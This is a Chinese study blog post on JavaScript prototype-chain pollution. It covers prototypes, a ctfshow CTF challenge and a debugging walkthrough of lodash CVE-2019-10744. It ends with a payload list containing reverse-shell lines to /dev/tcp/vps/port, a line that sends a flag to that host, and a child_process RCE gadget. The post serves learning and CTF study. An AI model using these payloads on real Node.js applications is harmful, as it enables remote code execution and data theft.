当前位置: 首页 > news >正文

JavaScript原型链污染学习记录

1.JS原型和继承机制

0> 原型及其搜索机制
  • NodeJS原型机制,比较官方的定义:

我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,

而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

1> 原型链和继承
  • 原型链

原型链是在原型上实现继承的一种形式

举个例子:

function Father(){this.name = "father";this.age = 66;
}function Son(){this.name = "son";
}var father1 = new Father();Son.prototype = father1;var son1 = new Son();console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}       
null
*/

整个的原型继承链如下:

image-20230501151612259

  • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

在上面的例子中

console.log(son1.name);
console.log(son1.age);
/*
son
66 
*/
2> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

img

2.姿势利用

1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')

image-20230501153417183

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{"__proto__":{"__proto__":{attack_code}}
}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'function check() {lodash.defaultsDeep({}, JSON.parse(payload));if (({})['whoami'] === "hack") {console.log(`Vulnerable to Prototype Pollution via ${payload}`);console.log(Object.prototype);}
}check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

image-20230501172924114

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

image-20230501165542755

继续往下return apply

image-20230501200948397

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}
function Sub(){Super.call(this);			// 继承
}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

image-20230501201429867

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

image-20230501202011773

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

image-20230501203050752

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

image-20230501203715075

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

image-20230501204240350

image-20230501204336670

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})

所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/function baseMerge(object, source, srcIndex, customizer, stack) {if (object === source) {					// 优化判断是否为同一对象,是则直接返回return;}// 遍历source的属性,选择深浅复制baseFor(source, function(srcValue, key) {if (isObject(srcValue)) {stack || (stack = new Stack);baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);}else {var newValue = customizer? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack): undefined;if (newValue === undefined) {newValue = srcValue;}assignMergeValue(object, key, newValue);}}, keysIn);}
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {			// fromRight选择从哪端开始遍历		return function(object, iteratee, keysFunc) {var index = -1,iterable = Object(object),props = keysFunc(object),length = props.length;while (length--) {var key = props[fromRight ? length : ++index];if (iteratee(iterable[key], key, iterable) === false) {	// 这里的iteratee即为baseFor中的匿名函数break;}}return object;};}

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

image-20230501214414062

原来在4.17.12之前的版本也是有waf的,只是比较弱。

image-20230501214540947

回归正题,在customizer之后便产生了合并

image-20230501215807038

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

image-20230501220535024

image-20230501222217997

这是在生成属性时需要设置的四种数据属性

image-20230501221244986

回归正题,发现只能写入Array的原型

image-20230501221644127

再验证一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'var object = new Object();function check() {// JSON.parse(payload)之后是一个JS对象lodash.defaultsDeep([],JSON.parse(payload));if (({})['whoami'] === "hack") {console.log(`Vulnerable to Prototype Pollution via ${payload}`);console.log(Object.prototype);}
}check();console.log(Array.prototype);

image-20230501221752843

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

image-20230501210253505

总结一下,CVE-2019-10744可用的payload

# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}

相关文章:

JavaScript原型链污染学习记录

1.JS原型和继承机制 0> 原型及其搜索机制 NodeJS原型机制&#xff0c;比较官方的定义&#xff1a; 我们创建的每个函数都有一个 prototype&#xff08;原型&#xff09;属性&#xff0c;这个属性是一个指针&#xff0c;指向一个对象&#xff0c; 而这个对象的用途是包含可…...

顶级白帽黑客必备的十大黑客技术

1.熟悉Linux系统和命令行操作&#xff1a; Linux是黑客的基石&#xff0c;几乎所有黑客工具和技术都是在Linux平台上运行的&#xff0c;熟悉Linux系统和命令行操作是必须的。 2.掌握网络协议和TCP/IP模型&#xff1a; 了解TCP/IP模型、网络协议和通信流程是黑客攻击的基础&a…...

【关于认证鉴权一些概念梳理】

关于认证鉴权一些概念梳理 记录一些灵感瞬间聊聊Session&#xff0c;Cookie和Token三剑客的特性前后端分离登录中的springsecurity与不分离的异同三更up关于springSecurity的讲解B站知乎上关于springSecurity的讲解掘金大佬SpringSecurityJWT认证流程解析一个权限对应一个资源&…...

16.网络爬虫—字体反爬(实战演示)

网络爬虫—字体反爬 一字体反爬原理二字体反爬模块FonttoolsTTF文件 三FontCreator 14.0.0.2790FontCreatorPortable下载与安装 四实战演示五后记 前言&#xff1a; &#x1f3d8;️&#x1f3d8;️个人简介&#xff1a;以山河作礼。 &#x1f396;️&#x1f396;️:Python领域…...

BOM概述

目录 什么是BOM 浏览器对象模型&#xff08;Browser Object Model (BOM)&#xff09; Window对象 一些常用方法 JavaScript Window Screen Window Screen Window Screen 高度 Window Screen 可用宽度 Window Screen 可用高度 Window Screen 色深 Window Screen 像素深…...

3.Docker实用技术

Docker实用篇 0.学习目标 1.初识Docker 1.1.什么是Docker 微服务虽然具备各种各样的优势&#xff0c;但服务的拆分通用给部署带来了很大的麻烦。 分布式系统中&#xff0c;依赖的组件非常多&#xff0c;不同组件之间部署时往往会产生一些冲突。在数百上千台服务中重复部署…...

群体无人机:协同作战的未来

摘要&#xff1a;本文将探讨群体无人机技术的发展及其在多个领域的应用&#xff0c;特别是在军事作战、救援任务和物流方面的潜力。我们将分析群体无人机在协同作战中的优势&#xff0c;以及如何通过协同控制和通信技术实现更高效的任务完成。 内容&#xff1a; 引言 简要介绍…...

如何在Windows AD域中驻留ACL后门

前言 当拿下域控权限时&#xff0c;为了维持权限&#xff0c;常常需要驻留一些后门&#xff0c;从而达到长期控制的目的。Windows AD域后门五花八门&#xff0c;除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码&#xff0c;还有一些基于ACL的后门。 ACL介绍 …...

LVGL移植——stm32f4

LVGL移植说明 移植LVGL版本&#xff1a;8.3.6 主控&#xff1a;STM32F407ZGT6 github链接&#xff1a;https://github.com/lvgl/lvgl.git 文章目录 LVGL移植说明STM32移植LVGL①需要的依赖文件②移植显示驱动文件③将文件加入工程当中④配置心跳④修改栈堆的空间⑤编译链接 STM…...

ASEMI代理ADP5054ACPZ-R7原装ADI车规级ADP5054ACPZ-R7

编辑&#xff1a;ll ASEMI代理ADP5054ACPZ-R7原装ADI车规级ADP5054ACPZ-R7 型号&#xff1a;ADP5054ACPZ-R7 品牌&#xff1a;ADI/亚德诺 封装&#xff1a;LFCSP-48 批号&#xff1a;2023 引脚数量&#xff1a;48 工作温度&#xff1a;-40C~125C 安装类型&#xff1a;表…...

TCP/IP相关面试题

1. 什么是TCP/IP协议&#xff1f;它的作用是什么&#xff1f; TCP/IP&#xff08;Transmission Control Protocol/Internet Protocol&#xff09;互联网中最常用的协议&#xff0c;是计算机网络通信的基础。由TCP协议和IP协议两部分组成。IP协议负责数据的传输和路由选择&#…...

MySQL数据库——MySQL存储过程是什么?

我们前面所学习的 MySQL 语句都是针对一个表或几个表的单条 SQL 语句&#xff0c;但是在数据库的实际操作中&#xff0c;经常会有需要多条 SQL 语句处理多个表才能完成的操作。 例如&#xff0c;为了确认学生能否毕业&#xff0c;需要同时查询学生档案表、成绩表和综合表&…...

消息队列中的事务消息

大家好&#xff0c;我是易安&#xff01;今天我们谈一谈消息队列中的事务消息这个话题。 一说起事务&#xff0c;你可能自然会联想到数据库。我们日常使用事务的场景&#xff0c;绝大部分都是在操作数据库的时候。像MySQL、Oracle这些主流的关系型数据库&#xff0c;也都提供了…...

03. 路由参数.重定向.视图

学习要点&#xff1a; 1.路由参数 2.路由重定向 3.路由视图 本节课我们来开始进入学习路由的参数设置、重定向和路由的视图。 一&#xff0e;路由参数 1. 上一节课&#xff0c;我们已经学习了部分路由参数的功能&#xff0c;比如动态传递{id}&#xff1b; 2. 那么&#xff0c;有…...

Flowable入门

Flowable初体验 Flowable是什么 Flowable 是一个使用 Java 编写的轻量级业务流程引擎&#xff0c;常用于需要人工审批相关的业务&#xff0c;比如请假、报销、采购等业务。 为什么要使用工作流呢&#xff1f; 对于复杂的业务流程&#xff0c;通过数据库的状态字段难以控制和…...

Scala Option类型,异常处理,IO,高阶函数

Option类型 实际开发中, 在返回一些数据时, 难免会遇到空指针异常(NullPointerException), 遇到一次就处理一次相对来讲还是比较繁琐的. 在Scala中, 我们返回某些数据时&#xff0c;可以返回一个Option类型的对象来封装具体的数据&#xff0c;从而实现有效的避免空指针异常。S…...

unity进阶学习笔记:单例模式

游戏框架&#xff1a; 游戏框架一般包括消息框架&#xff0c;状态机&#xff0c;管理器&#xff0c;工具类。 消息框架指游戏物体之的通信框架&#xff0c;虽然unity引擎自带一套消息框架&#xff0c;但该框架只能用于父子物体之间通信&#xff0c;无法实现大部分非父子关系的…...

软件测试——性能指标

登录功能示例&#xff1a; 并发用户数500&#xff1b; 响应时间2S&#xff1b; TPS到500&#xff1b; CPU不得超过75%&#xff1b; 性能指标有哪些&#xff1f; 响应时间 并发用户数 TPS CPU 内存 磁盘吞吐量 网络吞吐量 移动端FPS 移动端耗电量 APP启动时间 性能…...

leetcode 405. 数字转换为十六进制数

题目描述解题思路执行结果 leetcode 405. 数字转换为十六进制数. 题目描述 数字转换为十六进制数 给定一个整数&#xff0c;编写一个算法将这个数转换为十六进制数。对于负整数&#xff0c;我们通常使用 补码运算 方法。 注意: 十六进制中所有字母(a-f)都必须是小写。 十六进制…...

部门来了个软件测试,听说是00后,上来一顿操作给我看呆了...

前段时间公司新来了个同事&#xff0c;听说大学是学的广告专业&#xff0c;因为喜欢IT行业就找了个培训班&#xff0c;后来在一家小公司干了三年&#xff0c;现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍&#xff0c;服务器缩减一半&#xff0c;性能反而提升4倍!给…...

【网络】每天掌握一个Linux命令 - iftop

在Linux系统中&#xff0c;iftop是网络管理的得力助手&#xff0c;能实时监控网络流量、连接情况等&#xff0c;帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

3.3.1_1 检错编码(奇偶校验码)

从这节课开始&#xff0c;我们会探讨数据链路层的差错控制功能&#xff0c;差错控制功能的主要目标是要发现并且解决一个帧内部的位错误&#xff0c;我们需要使用特殊的编码技术去发现帧内部的位错误&#xff0c;当我们发现位错误之后&#xff0c;通常来说有两种解决方案。第一…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版​分享

平时用 iPhone 的时候&#xff0c;难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵&#xff0c;或者买了二手 iPhone 却被原来的 iCloud 账号锁住&#xff0c;这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

大模型多显卡多服务器并行计算方法与实践指南

一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

Unsafe Fileupload篇补充-木马的详细教程与木马分享(中国蚁剑方式)

在之前的皮卡丘靶场第九期Unsafe Fileupload篇中我们学习了木马的原理并且学了一个简单的木马文件 本期内容是为了更好的为大家解释木马&#xff08;服务器方面的&#xff09;的原理&#xff0c;连接&#xff0c;以及各种木马及连接工具的分享 文件木马&#xff1a;https://w…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...